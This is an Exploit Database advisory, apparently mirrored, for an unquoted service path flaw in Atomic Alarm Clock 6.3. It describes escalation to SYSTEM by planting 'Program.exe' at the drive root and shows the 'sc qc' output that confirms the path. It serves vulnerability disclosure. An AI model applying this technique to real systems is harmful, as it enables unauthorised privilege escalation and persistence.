Atomic Alarm Clock x86 6.3 – ‘AtomicAlarmClock’ Unquoted Service Path

• Exploit Database
• 11 阅读

• 作者： boku
  日期： 2020-04-20
• 类别：

  • local
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/48352/

• # Exploit Title: Atomic Alarm Clock x86 6.3 - 'AtomicAlarmClock' Unquoted Service Path
  # Exploit Author: boku
  # Date: 2020-04-17
  # Vendor Homepage: http://www.drive-software.com
  # Software Link: http://www.drive-software.com/download/ataclock.exe
  # Version: 6.3
  # Tested On: Windows 10 Pro 1909 (32-bit)
  # Vulnerability Type: Local Privilege Escalation by unquoted service path owned by 'LocalSystem'.
  
  # Vulnerability Description:
  # The Atomic Alarm Clock service "timeserv.exe" will load an arbitrary EXE and execute it with SYSTEM integrity. 
  # This security misconfiguration by the vendor can be exploited locally or as part of an attack chain. 
  # By placing a file named "Program.exe" on the root drive, an attacker can obtain persistent arbitrary code execution. 
  # Under normal environmental conditions, this exploit ensures escalation of privileges from Admin to SYSTEM.
  
  C:\Users\boku>sc qc AtomicAlarmClock
  [SC] QueryServiceConfig SUCCESS
  
  SERVICE_NAME: AtomicAlarmClock
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL: 1 NORMAL
  BINARY_PATH_NAME : C:\Program Files\Atomic Alarm Clock\timeserv.exe
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : Atomic Alarm Clock Time
  DEPENDENCIES :
  SERVICE_START_NAME : LocalSystem